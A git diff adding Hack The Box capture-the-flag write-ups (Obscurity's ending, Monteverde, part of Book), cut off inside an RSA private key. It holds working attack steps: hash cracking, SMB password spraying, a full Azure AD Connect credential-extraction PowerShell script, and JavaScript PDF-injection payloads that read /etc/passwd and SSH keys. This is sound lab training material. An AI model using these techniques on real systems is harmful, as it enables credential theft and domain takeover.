"CL_OUT_OF_RESOURCES" or related errors. + To disable the timeout, see: https://hashcat.net/q/timeoutpatch + * Device #2: WARNING! Kernel exec timeout is not disabled. + This may cause "CL_OUT_OF_RESOURCES" or related errors. + To disable the timeout, see: https://hashcat.net/q/timeoutpatch + CUDA API (CUDA 11.3) + ==================== + * Device #1: NVIDIA GeForce GTX 1050, 1338/1999 MB, 5MCU + + OpenCL API (OpenCL 3.0 CUDA 11.3.55) - Platform #1 [NVIDIA Corporation] + ======================================================================= + * Device #2: NVIDIA GeForce GTX 1050, skipped + + OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project] + ============================================================================================================================= + * Device #3: pthread-Intel(R) Core(TM) i5-6600 CPU @ 3.30GHz, skipped + + Minimum password length supported by kernel: 0 + Maximum password length supported by kernel: 256 + + Hashes: 1 digests; 1 unique digests, 1 unique salts + Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates + Rules: 1 + + Applicable optimizers applied: + * Zero-Byte + * Single-Hash + * Single-Salt + * Uses-64-Bit + + ATTENTION! Pure (unoptimized) backend kernels selected. + Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance. + If you want to switch to optimized backend kernels, append -O to your commandline. + See the above message to find out about the exact limits. + + Watchdog: Temperature abort trigger set to 90c + + Host memory required for this attack: 151 MB + + Dictionary cache built: + * Filename..: /usr/share/wordlists/rockyou.txt + * Passwords.: 14344392 + * Bytes.....: 139921507 + * Keyspace..: 14344385 + * Runtime...: 6 secs + + + Session..........: hashcat + Status...........: Cracked + Hash.Name........: sha512crypt $6$, SHA512 (Unix) + Hash.Target......: $6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbV...1h4dy1 + Time.Started.....: Wed Jun 23 11:06:12 2021 (1 sec) + Time.Estimated...: Wed Jun 23 11:06:13 2021 (0 secs) + Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) + Guess.Queue......: 1/1 (100.00%) + Speed.#1.........: 7929 H/s (8.07ms) @ Accel:2 Loops:32 Thr:1024 Vec:1 + Recovered........: 1/1 (100.00%) Digests + Progress.........: 10240/14344385 (0.07%) + Rejected.........: 0/10240 (0.00%) + Restore.Point....: 0/14344385 (0.00%) + Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4992-5000 + Candidates.#1....: 123456 -> 1asshole + Hardware.Mon.#1..: Temp: 56c Fan: 0% Util: 99% Core:1784MHz Mem:3504MHz Bus:16 + + Started: Wed Jun 23 11:05:31 2021 + Stopped: Wed Jun 23 11:06:15 2021 + + + +Once hashcat is done running, we check the rootpass.txt output file: + + + [ 10.66.66.2/32 ] [ /dev/pts/17 ] [~/HTB/obscurity] + → cat rootpass.txt + $6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1:mercedes + + + +And we seem to get the root password being 'mercedes' so let's try to login as root: + + + + robert@obscure:~/BetterSSH$ su - + Password: + root@obscure:~# id + uid=0(root) gid=0(root) groups=0(root) + root@obscure:~# cat root.txt + 51XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to privesc to the root user and print the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/51_graph.png) + diff --git a/Medium/52.md b/Medium/52.md new file mode 100644 index 0000000..88faa09 --- /dev/null +++ b/Medium/52.md @@ -0,0 +1,483 @@ +# Monteverde Writeup + +![](img/52.png) + +## Introduction : + +Monteverde is a Medium Windows box released back in January 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/monteverde] + → nmap -vvv -p- 10.10.10.172 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 53/tcp on 10.10.10.172 + Discovered open port 139/tcp on 10.10.10.172 + Discovered open port 445/tcp on 10.10.10.172 + Discovered open port 135/tcp on 10.10.10.172 + Discovered open port 49674/tcp on 10.10.10.172 + Discovered open port 49673/tcp on 10.10.10.172 + Discovered open port 49667/tcp on 10.10.10.172 + Discovered open port 636/tcp on 10.10.10.172 + Discovered open port 3269/tcp on 10.10.10.172 + Discovered open port 464/tcp on 10.10.10.172 + Discovered open port 49693/tcp on 10.10.10.172 + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/monteverde] + → nmap -sCV 10.10.10.172 -Pn + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-23 11:59 CEST + Nmap scan report for 10.10.10.172 + Host is up (0.47s latency). + Not shown: 989 filtered ports + PORT STATE SERVICE VERSION + 53/tcp open domain Simple DNS Plus + 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-06-23 10:07:57Z) + 135/tcp open msrpc Microsoft Windows RPC + 139/tcp open netbios-ssn Microsoft Windows netbios-ssn + 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) + 445/tcp open microsoft-ds? + 464/tcp open kpasswd5? + 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 + 636/tcp open tcpwrapped + 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name) + 3269/tcp open tcpwrapped + Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows + + Host script results: + |_clock-skew: 8m02s + | smb2-security-mode: + | 2.02: + |_ Message signing enabled and required + | smb2-time: + | date: 2021-06-23T10:08:24 + |_ start_date: N/A + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 108.62 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up a bunch of smb ports so let's run enum4linux on it: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/monteverde] + → enum4linux 10.10.10.172 + Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Jun 23 12:06:15 2021 + + ========================== + | Target Information | + ========================== + Target ........... 10.10.10.172 + RID Range ........ 500-550,1000-1050 + Username ......... '' + Password ......... '' + Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none + + [...] + + ==================================================== + | Password Policy Information for 10.10.10.172 | + ==================================================== + + + [+] Attaching to 10.10.10.172 using a NULL share + + [+] Trying protocol 139/SMB... + + [!] Protocol failed: Cannot request session (Called Name:10.10.10.172) + + [+] Trying protocol 445/SMB... + + [+] Found domain(s): + + [+] MEGABANK + [+] Builtin + + [+] Password Info for Domain: MEGABANK + + [+] Minimum password length: 7 + [+] Password history length: 24 + [+] Maximum password age: 41 days 23 hours 53 minutes + [+] Password Complexity Flags: 000000 + + [+] Domain Refuse Password Change: 0 + [+] Domain Password Store Cleartext: 0 + [+] Domain Password Lockout Admins: 0 + [+] Domain Password No Clear Change: 0 + [+] Domain Password No Anon Change: 0 + [+] Domain Password Complex: 0 + + [+] Minimum password age: 1 day 4 minutes + [+] Reset Account Lockout Counter: 30 minutes + [+] Locked Account Duration: 30 minutes + [+] Account Lockout Threshold: None + [+] Forced Log off Time: Not Set + + Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 501. + + [+] Retieved partial password policy with rpcclient: + + Password Complexity: Disabled + Minimum Password Length: 7 + + +enum4linux gives us a few usernames but there are no default passwords or anything else, so let's take a look at the box using rpcclient: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/monteverde] + → rpcclient -U '' -N 10.10.10.172 + rpcclient $> enumdomusers + user:[Guest] rid:[0x1f5] + user:[AAD_987d7f2f57d2] rid:[0x450] + user:[mhope] rid:[0x641] + user:[SABatchJobs] rid:[0xa2a] + user:[svc-ata] rid:[0xa2b] + user:[svc-bexec] rid:[0xa2c] + user:[svc-netapp] rid:[0xa2d] + user:[dgalanos] rid:[0xa35] + user:[roleary] rid:[0xa36] + user:[smorgan] rid:[0xa37] + rpcclient $> + + + +And here we have been able to enumerate users over NetBIOS. So we have a list of usernames: + + + [ 10.66.66.2/32 ] [ /dev/pts/12 ] [~/HTB/monteverde] + → cat usernames.txt + Guest + AAD_987d7f2f57d2 + mhope + SABatchJobs + svc-ata + svc-bexec + svc-netapp + dgalanos + roleary + smorgan + + + +Let's use it with crackmapexec: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/monteverde] + → crackmapexec smb 10.10.10.172 -u usernames.txt -p usernames.txt + SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False) + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:Guest STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:mhope STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:SABatchJobs STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-ata STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-bexec STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-netapp STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:dgalanos STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:roleary STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:smorgan STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:Guest STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:mhope STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:SABatchJobs STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-ata STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-bexec STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-netapp STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:dgalanos STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:roleary STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:smorgan STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:Guest STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-ata STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-bexec STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-netapp STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:dgalanos STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:roleary STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:smorgan STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:Guest STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE + SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs + + + +And here you see we have been able to login using the credentials **SABatchJobs:SABatchJobs** + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/monteverde] + → smbclient -L 10.10.10.172 -U SABatchJobs + Enter WORKGROUP\SABatchJobs's password: + + Sharename Type Comment + --------- ---- ------- + ADMIN$ Disk Remote Admin + azure_uploads Disk + C$ Disk Default share + E$ Disk Default share + IPC$ IPC Remote IPC + NETLOGON Disk Logon server share + SYSVOL Disk Logon server share + users$ Disk + SMB1 disabled -- no workgroup available + + + +Let's take a look at the **users$** share: + + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/monteverde] + → smbclient -U SABatchJobs //10.10.10.172/users$ + Enter WORKGROUP\SABatchJobs's password: + Try "help" to get a list of possible commands. + smb: \> ls + . D 0 Fri Jan 3 14:12:48 2020 + .. D 0 Fri Jan 3 14:12:48 2020 + dgalanos D 0 Fri Jan 3 14:12:30 2020 + mhope D 0 Fri Jan 3 14:41:18 2020 + roleary D 0 Fri Jan 3 14:10:30 2020 + smorgan D 0 Fri Jan 3 14:10:24 2020 + + 309503 blocks of size 4096. 304926 blocks available + smb: \> cd mhope + smb: \mhope\> ls + . D 0 Fri Jan 3 14:41:18 2020 + .. D 0 Fri Jan 3 14:41:18 2020 + azure.xml AR 1212 Fri Jan 3 14:40:23 2020 + + 309503 blocks of size 4096. 304926 blocks available + smb: \mhope\> get azure.xml + getting file \mhope\azure.xml of size 1212 as azure.xml (0.6 KiloBytes/sec) (average 0.6 KiloBytes/sec) + + +And we navigate to the azure.xml file to download it: + + + [ 10.66.66.2/32 ] [ /dev/pts/12 ] [~/HTB/monteverde] + → cat azure.xml + Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"> + Obj RefId="0"> + TN RefId="0"> + T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential/T> + T>System.Object/T> + /TN> + ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential/ToString> + Props> + DT N="StartDate">2020-01-03T05:35:00.7562298-08:00/DT> + DT N="EndDate">2054-01-03T05:35:00.7562298-08:00/DT> + G N="KeyId">00000000-0000-0000-0000-000000000000/G> + S N="Password">**4n0therD4y@n0th3r$** /S> + /Props> + /Obj> + /Objs>% + + +And here you see that we have been able to find someone's password, we think it is the user mhope's password, so lets try to login with his credentials: + + + [ 10.66.66.2/32 ] [ /dev/pts/12 ] [~/HTB/monteverde] + → crackmapexec smb 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$ + SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False) + SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$ + + + +Looks like they are correct! Let's login with EvilWinRM: + + + [ 10.66.66.2/32 ] [ /dev/pts/12 ] [~/HTB/monteverde] + → evil-winrm -i 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$ + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\mhope\Documents> whoami + megabank\mhope + *Evil-WinRM* PS C:\Users\mhope\Documents> cd ..\desktop + *Evil-WinRM* PS C:\Users\mhope\desktop> type user.txt + 49XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We have been able to get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc this box we need to take a look at the groups of our current user: + + + *Evil-WinRM* PS C:\Users\mhope\desktop> whoami /groups + + GROUP INFORMATION + ----------------- + + Group Name Type SID Attributes + =========================================== ================ ============================================ ================================================== + Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group + BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group + BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group + BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group + NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group + NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group + NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group + MEGABANK\Azure Admins Group S-1-5-21-391775091-850290835-3566037492-2601 Mandatory group, Enabled by default, Enabled group + NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group + Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448 + *Evil-WinRM* PS C:\Users\mhope\desktop> + + +Here we see that there is the **Azure Admins** group. After googling a bit you will probably stumble upon an Azure AD Connect exploit PoC [blogpost](https://blog.xpnsec.com/azuread-connect-for-redteam/). The exploit as it is in this article is not completely correct: + + + Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n" + + $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync" + $client.Open() + $cmd = $client.CreateCommand() + $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" + $reader = $cmd.ExecuteReader() + $reader.Read() | Out-Null + $key_id = $reader.GetInt32(0) + $instance_id = $reader.GetGuid(1) + $entropy = $reader.GetGuid(2) + $reader.Close() + + $cmd = $client.CreateCommand() + $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" + $reader = $cmd.ExecuteReader() + $reader.Read() | Out-Null + $config = $reader.GetString(0) + $crypted = $reader.GetString(1) + $reader.Close() + + add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll' + $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager + $km.LoadKeySet($entropy, $instance_id, $key_id) + $key = $null + $km.GetActiveCredentialKey([ref]$key) + $key2 = $null + $km.GetKey(1, [ref]$key2) + $decrypted = $null + $key2.DecryptBase64ToString($crypted, [ref]$decrypted) + + $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}} + $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}} + $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}} + + Write-Host ("Domain: " + $domain.Domain) + Write-Host ("Username: " + $username.Username) + Write-Host ("Password: " + $password.Password) + + + +However we need to change the following line: + + + + $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(**local**);Initial Catalog=ADSync;**Integrated Security=true;** " + + + +So we end up with the following script: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/monteverde] + → cat exploit.ps1 + Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n" + + $client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(local);Initial Catalog=ADSync;Integrated Security=true;" + $client.Open() + $cmd = $client.CreateCommand() + $cmd.CommandText = "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration" + $reader = $cmd.ExecuteReader() + $reader.Read() | Out-Null + $key_id = $reader.GetInt32(0) + $instance_id = $reader.GetGuid(1) + $entropy = $reader.GetGuid(2) + $reader.Close() + + $cmd = $client.CreateCommand() + $cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'" + $reader = $cmd.ExecuteReader() + $reader.Read() | Out-Null + $config = $reader.GetString(0) + $crypted = $reader.GetString(1) + $reader.Close() + + add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll' + $km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager + $km.LoadKeySet($entropy, $instance_id, $key_id) + $key = $null + $km.GetActiveCredentialKey([ref]$key) + $key2 = $null + $km.GetKey(1, [ref]$key2) + $decrypted = $null + $key2.DecryptBase64ToString($crypted, [ref]$decrypted) + + $domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}} + $username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}} + $password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}} + + Write-Host ("Domain: " + $domain.Domain) + Write-Host ("Username: " + $username.Username) + Write-Host ("Password: " + $password.Password) + + + +Since we're in evil-winrm we can upload it onto the box easily and then run it: + + + *Evil-WinRM* PS C:\Users\mhope\desktop> upload exploit.ps1 . + Info: Uploading exploit.ps1 to C:\Users\mhope\desktop\. + + + Data: 2340 bytes of 2340 bytes copied + + Info: Upload successful! + + *Evil-WinRM* PS C:\Users\mhope\desktop> powershell -file exploit.ps1 + AD Connect Sync Credential Extract POC (@_xpn_) + + Domain: MEGABANK.LOCAL + Username: administrator + Password: d0m@in4dminyeah! + + + +And there you go! We have been able to get the administrator credentials, now let's spawn another evilwinrm shell: + + + *Evil-WinRM* PS C:\Users\mhope\desktop> exit + + Info: Exiting with code 0 + + + [ 10.66.66.2/32 ] [ /dev/pts/12 ] [~/HTB/monteverde] + → evil-winrm -i 10.10.10.172 -u administrator -p 'd0m@in4dminyeah!' + + + Evil-WinRM shell v2.4 + + Info: Establishing connection to remote endpoint + + *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop + *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt + 12XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And there you go! We managed to get the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/52_graph.png) + diff --git a/Medium/53.md b/Medium/53.md new file mode 100644 index 0000000..138b470 --- /dev/null +++ b/Medium/53.md @@ -0,0 +1,423 @@ +# Book Writeup + +![](img/53.png) + +## Introduction : + +Book is a Medium Linux box released back in Febuary 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book] + → nmap -vvv -p- 10.10.10.176 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 22/tcp on 10.10.10.176 + Discovered open port 80/tcp on 10.10.10.176 + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book] + → nmap -sCV -p22,80 10.10.10.176 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-24 08:35 CEST + Nmap scan report for 10.10.10.176 + Host is up (0.47s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA) + | 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA) + |_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519) + 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) + | http-cookie-flags: + | /: + | PHPSESSID: + |_ httponly flag not set + |_http-server-header: Apache/2.4.29 (Ubuntu) + |_http-title: LIBRARY - Read | Learn | Have Fun + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 25.32 seconds + + + +## **Part 2 : Getting User Access** + + + [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/book] + → gobuster dir -u http://10.10.10.176 -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php,html,txt -t 50 + =============================================================== + Gobuster v3.1.0 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) + =============================================================== + [+] Url: http://10.10.10.176 + [+] Method: GET + [+] Threads: 50 + [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt + [+] Negative Status codes: 404 + [+] User Agent: gobuster/3.1.0 + [+] Extensions: php,html,txt + [+] Timeout: 10s + =============================================================== + 2021/06/24 08:37:17 Starting gobuster in directory enumeration mode + =============================================================== + /.hta (Status: 403) [Size: 277] + /.hta.php (Status: 403) [Size: 277] + /.hta.html (Status: 403) [Size: 277] + /.htaccess.php (Status: 403) [Size: 277] + /.htpasswd (Status: 403) [Size: 277] + /.hta.txt (Status: 403) [Size: 277] + /.htaccess.html (Status: 403) [Size: 277] + /.htpasswd.php (Status: 403) [Size: 277] + /.htaccess.txt (Status: 403) [Size: 277] + /.htpasswd.html (Status: 403) [Size: 277] + /.htaccess (Status: 403) [Size: 277] + /.htpasswd.txt (Status: 403) [Size: 277] + /admin (Status: 301) [Size: 312] [--> http://10.10.10.176/admin/] + /books.php (Status: 302) [Size: 0] [--> index.php] + /contact.php (Status: 302) [Size: 0] [--> index.php] + /db.php (Status: 200) [Size: 0] + /docs (Status: 301) [Size: 311] [--> http://10.10.10.176/docs/] + /download.php (Status: 302) [Size: 0] [--> index.php] + /feedback.php (Status: 302) [Size: 0] [--> index.php] + /home.php (Status: 302) [Size: 0] [--> index.php] + /images (Status: 301) [Size: 313] [--> http://10.10.10.176/images/] + /index.php (Status: 200) [Size: 6800] + /index.php (Status: 200) [Size: 6800] + /logout.php (Status: 302) [Size: 0] [--> index.php] + /profile.php (Status: 302) [Size: 0] [--> index.php] + /search.php (Status: 302) [Size: 0] [--> index.php] + /settings.php (Status: 302) [Size: 0] [--> index.php] + /server-status (Status: 403) [Size: 277] + + + +So here we see that gobuster found a few interesting files: + + + /admin/ + /index.php + /admin/index.php + /db.php + + + +` ![](prg/53_001.png) ![](prg/53_002.png) + +After creating an account, we can visit the website: + +![](prg/53_003.png) + +We know that the admin username is there on the box from the contact page: + +![](prg/53_004.png) + +Now we logout of our created account to inspect index.php onto which we see something interesting: + +![](prg/53_005.png) + +This is a hint that we can do a SQL Truncation attack to signup as admin, so we intercept our POST request when we try to create an account with this payload: + + + test + admin@book.htb a + password + + + +The idea is to make an admin account with more than 20 characters and with the 20 charcaters limit it will trim out the extra chararacters (the spaces and the a character) to overwrite admin@book.htb. + +![](prg/53_006.png) ![](prg/53_008.png) + +We follow the redirection 302 and it gives us a 200 response as if everything was fine. So we login as our new admin account at **admin@book.htb:password** at **/admin/home.php** : + +![](prg/53_010.png) + +And we now have access to the admin panel! Now let's check out the collections page: + +![](prg/53_011.png) + +Basically from **/admin/collections.php** we can see pdf files that has html code in it, to inject it we need to do it from **/collections.php**. + +![](prg/53_012.png) + +And here you see once we export the collections that our previous boldtext payload got interpreted: + +![](prg/53_013.png) + +So we do the same but this time with javascript to attempt a LFI: + + + <****script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send(); <****/script> + +` ![](prg/53_014.png) + +And it worked! We now know that 'reader' is a valid user so let's try to print his SSH key if he has one: + + + <****script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send(); <****/script> + +` ![](prg/53_015.png) + +And we got his private SSH key! Now let's save it locally and login via SSH: + + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book] + → vim reader.pkey + + [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/HTB/book] + → cat reader.pkey + -----BEGIN RSA PRIVATE KEY----- + MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ + G8m6UNZyRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfR99rMg7FRnVCpiHPpJ0 + WxtCK0VlQUwxZ6953D16uxlRH8LXeI6BNAIjF0Z7zgkzRhTYJpKs6M80NdjUCl/0 + ePV8RKoYVWuVRb4nFG1Es0bOj29lu64yWd/j3xWXHgpaJciHKxeNlr8x6NgbPv4s + 7WaZQ4cjd+yzpOCJw9J91Vi33gv6+KCIzr+TEfzI82+hLW1UGx/13fh20cZXA6PK + 